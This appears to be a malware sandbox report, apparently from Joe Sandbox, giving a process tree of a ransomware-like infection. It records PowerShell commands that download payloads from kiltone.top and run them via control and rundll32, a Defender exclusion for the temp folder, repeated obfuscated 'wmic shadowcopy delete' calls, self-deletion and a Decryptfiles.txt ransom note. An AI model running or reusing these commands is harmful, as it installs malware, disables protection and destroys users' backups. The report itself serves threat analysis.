                                                                                                                                          Imagebase:0x7ff6eb350000
                                                                                                                                          File size:452'608 bytes
                                                                                                                                          MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Reputation:high
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:10
                                                                                                                                          Start time:07:59:34
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\svchost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                                                                                          Imagebase:0x7ff68dea0000
                                                                                                                                          File size:55'320 bytes
                                                                                                                                          MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Reputation:high
                                                                                                                                          Has exited:false

                                                                                                                                          Target ID:11
                                                                                                                                          Start time:07:59:34
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2040,i,2996806537159820788,4098969065651386126,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
                                                                                                                                          Imagebase:0x7ff6a3150000
                                                                                                                                          File size:3'242'272 bytes
                                                                                                                                          MD5 hash:83395EAB5B03DEA9720F8D7AC0D15CAA
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Reputation:high
                                                                                                                                          Has exited:false

                                                                                                                                          Target ID:14
                                                                                                                                          Start time:07:59:40
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:"C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl
                                                                                                                                          Imagebase:0x7ff6b07d0000
                                                                                                                                          File size:289'792 bytes
                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:15
                                                                                                                                          Start time:07:59:41
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff68cce0000
                                                                                                                                          File size:862'208 bytes
                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:16
                                                                                                                                          Start time:07:59:41
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl
                                                                                                                                          Imagebase:0x7ff6eb350000
                                                                                                                                          File size:452'608 bytes
                                                                                                                                          MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:18
                                                                                                                                          Start time:07:59:47
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:"C:\Windows\System32\cmd.exe" /c control C:\Users\user\AppData\Local\Temp/fjeljies.cpl
                                                                                                                                          Imagebase:0x7ff6b07d0000
                                                                                                                                          File size:289'792 bytes
                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:19
                                                                                                                                          Start time:07:59:47
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff68cce0000
                                                                                                                                          File size:862'208 bytes
                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:20
                                                                                                                                          Start time:07:59:48
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\control.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:control C:\Users\user\AppData\Local\Temp/fjeljies.cpl
                                                                                                                                          Imagebase:0x7ff6f9d90000
                                                                                                                                          File size:164'352 bytes
                                                                                                                                          MD5 hash:11C18DBF352D81C9532A8EF442151CB1
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:21
                                                                                                                                          Start time:07:59:48
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\rundll32.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL C:\Users\user\AppData\Local\Temp/fjeljies.cpl
                                                                                                                                          Imagebase:0x7ff6f7ab0000
                                                                                                                                          File size:71'680 bytes
                                                                                                                                          MD5 hash:EF3179D498793BF4234F708D3BE28633
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:22
                                                                                                                                          Start time:07:59:49
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                          Commandline:"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 C:\Users\user\AppData\Local\Temp/fjeljies.cpl
                                                                                                                                          Imagebase:0x1a0000
                                                                                                                                          File size:61'440 bytes
                                                                                                                                          MD5 hash:889B99C52A60DD49227C5E485A016679
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:23
                                                                                                                                          Start time:07:59:54
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                          Commandline:cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
                                                                                                                                          Imagebase:0xc30000
                                                                                                                                          File size:236'544 bytes
                                                                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:24
                                                                                                                                          Start time:07:59:54
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff68cce0000
                                                                                                                                          File size:862'208 bytes
                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:25
                                                                                                                                          Start time:07:59:54
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                          Commandline:powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
                                                                                                                                          Imagebase:0x100000
                                                                                                                                          File size:433'152 bytes
                                                                                                                                          MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:29
                                                                                                                                          Start time:07:59:59
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                          Commandline:cmd /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
                                                                                                                                          Imagebase:0xc30000
                                                                                                                                          File size:236'544 bytes
                                                                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:30
                                                                                                                                          Start time:07:59:59
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff68cce0000
                                                                                                                                          File size:862'208 bytes
                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:31
                                                                                                                                          Start time:07:59:59
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                          Commandline:powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
                                                                                                                                          Imagebase:0x100000
                                                                                                                                          File size:433'152 bytes
                                                                                                                                          MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:32
                                                                                                                                          Start time:08:00:04
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                          Commandline:cmd /c %temp%/eryy65ty.exe
                                                                                                                                          Imagebase:0xc30000
                                                                                                                                          File size:236'544 bytes
                                                                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:33
                                                                                                                                          Start time:08:00:04
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff68cce0000
                                                                                                                                          File size:862'208 bytes
                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:34
                                                                                                                                          Start time:08:00:05
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                          Commandline:C:\Users\user\AppData\Local\Temp/eryy65ty.exe
                                                                                                                                          Imagebase:0xc0000
                                                                                                                                          File size:902'856 bytes
                                                                                                                                          MD5 hash:9049FABA5517305C44BD5F28398FB6B9
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Antivirus matches:
                                                                                                                                          • Detection: 100%, Joe Sandbox ML
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:35
                                                                                                                                          Start time:08:00:10
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete
                                                                                                                                          Imagebase:0x7ff77df80000
                                                                                                                                          File size:576'000 bytes
                                                                                                                                          MD5 hash:C37F2F4F4B3CD128BDABCAEB2266A785
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:36
                                                                                                                                          Start time:08:00:10
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff68cce0000
                                                                                                                                          File size:862'208 bytes
                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:41
                                                                                                                                          Start time:08:00:23
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                          Commandline:"C:\Users\user\AppData\Local\Temp\eryy65ty.exe"
                                                                                                                                          Imagebase:0xc0000
                                                                                                                                          File size:902'856 bytes
                                                                                                                                          MD5 hash:9049FABA5517305C44BD5F28398FB6B9
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:44
                                                                                                                                          Start time:08:00:28
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:c:\OERBWD\OERB\..\..\Windows\OERB\OERB\..\..\system32\OERB\OERB\..\..\wbem\OERB\OERBW\..\..\wmic.exe shadowcopy delete
                                                                                                                                          Imagebase:0x7ff77df80000
                                                                                                                                          File size:576'000 bytes
                                                                                                                                          MD5 hash:C37F2F4F4B3CD128BDABCAEB2266A785
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:45
                                                                                                                                          Start time:08:00:28
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff68cce0000
                                                                                                                                          File size:862'208 bytes
                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:46
                                                                                                                                          Start time:08:00:31
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                          Commandline:"C:\Users\user\AppData\Local\Temp\eryy65ty.exe"
                                                                                                                                          Imagebase:0xc0000
                                                                                                                                          File size:902'856 bytes
                                                                                                                                          MD5 hash:9049FABA5517305C44BD5F28398FB6B9
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:47
                                                                                                                                          Start time:08:00:36
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:c:\FnbgXj\Fnbg\..\..\Windows\Fnbg\Fnbg\..\..\system32\Fnbg\Fnbg\..\..\wbem\Fnbg\FnbgX\..\..\wmic.exe shadowcopy delete
                                                                                                                                          Imagebase:0x7ff77df80000
                                                                                                                                          File size:576'000 bytes
                                                                                                                                          MD5 hash:C37F2F4F4B3CD128BDABCAEB2266A785
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:48
                                                                                                                                          Start time:08:00:36
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff68cce0000
                                                                                                                                          File size:862'208 bytes
                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:49
                                                                                                                                          Start time:08:00:39
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:c:\kXortE\kXor\..\..\Windows\kXor\kXor\..\..\system32\kXor\kXor\..\..\wbem\kXor\kXort\..\..\wmic.exe shadowcopy delete
                                                                                                                                          Imagebase:0x7ff77df80000
                                                                                                                                          File size:576'000 bytes
                                                                                                                                          MD5 hash:C37F2F4F4B3CD128BDABCAEB2266A785
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:50
                                                                                                                                          Start time:08:00:39
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                          Commandline:cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\AppData\Local\Temp\eryy65ty.exe"
                                                                                                                                          Imagebase:0xc30000
                                                                                                                                          File size:236'544 bytes
                                                                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:51
                                                                                                                                          Start time:08:00:39
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff68cce0000
                                                                                                                                          File size:862'208 bytes
                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:52
                                                                                                                                          Start time:08:00:39
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff68cce0000
                                                                                                                                          File size:862'208 bytes
                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:53
                                                                                                                                          Start time:08:00:39
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\SysWOW64\PING.EXE
                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                          Commandline:ping 1.1.1.1 -n 1 -w 3000
                                                                                                                                          Imagebase:0xcf0000
                                                                                                                                          File size:18'944 bytes
                                                                                                                                          MD5 hash:B3624DD758CCECF93A1226CEF252CA12
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:54
                                                                                                                                          Start time:08:00:45
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\notepad.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:"C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt
                                                                                                                                          Imagebase:0x7ff669d80000
                                                                                                                                          File size:201'216 bytes
                                                                                                                                          MD5 hash:27F71B12CB585541885A31BE22F61C83
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:false

                                                                                                                                          Target ID:59
                                                                                                                                          Start time:08:00:56
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:c:\gejGMa\gejG\..\..\Windows\gejG\gejG\..\..\system32\gejG\gejG\..\..\wbem\gejG\gejGM\..\..\wmic.exe shadowcopy delete
                                                                                                                                          Imagebase:0x7ff77df80000
                                                                                                                                          File size:576'000 bytes
                                                                                                                                          MD5 hash:C37F2F4F4B3CD128BDABCAEB2266A785
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:60
                                                                                                                                          Start time:08:00:56
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                          Commandline:cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\AppData\Local\Temp\eryy65ty.exe"
                                                                                                                                          Imagebase:0xc30000
                                                                                                                                          File size:236'544 bytes
                                                                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:61
                                                                                                                                          Start time:08:00:56
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff68cce0000
                                                                                                                                          File size:862'208 bytes
                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:62
                                                                                                                                          Start time:08:00:56
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff68cce0000
                                                                                                                                          File size:862'208 bytes
                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:63
                                                                                                                                          Start time:08:00:56
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\SysWOW64\PING.EXE
                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                          Commandline:ping 1.1.1.1 -n 1 -w 3000
                                                                                                                                          Imagebase:0xc60000
                                                                                                                                          File size:18'944 bytes
                                                                                                                                          MD5 hash:B3624DD758CCECF93A1226CEF252CA12
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:64
                                                                                                                                          Start time:08:01:00
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:c:\gBvDaO\gBvD\..\..\Windows\gBvD\gBvD\..\..\system32\gBvD\gBvD\..\..\wbem\gBvD\gBvDa\..\..\wmic.exe shadowcopy delete
                                                                                                                                          Imagebase:0x7ff77df80000
                                                                                                                                          File size:576'000 bytes
                                                                                                                                          MD5 hash:C37F2F4F4B3CD128BDABCAEB2266A785
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:65
                                                                                                                                          Start time:08:01:00
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                          Commandline:cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\AppData\Local\Temp\eryy65ty.exe"
                                                                                                                                          Imagebase:0xc30000
                                                                                                                                          File size:236'544 bytes
                                                                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:66
                                                                                                                                          Start time:08:01:00
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff68cce0000
                                                                                                                                          File size:862'208 bytes
                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:67
                                                                                                                                          Start time:08:01:00
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff68cce0000
                                                                                                                                          File size:862'208 bytes
                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:68
                                                                                                                                          Start time:08:01:00
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\SysWOW64\PING.EXE
                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                          Commandline:ping 1.1.1.1 -n 1 -w 3000
                                                                                                                                          Imagebase:0xc60000
                                                                                                                                          File size:18'944 bytes
                                                                                                                                          MD5 hash:B3624DD758CCECF93A1226CEF252CA12
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          No disassembly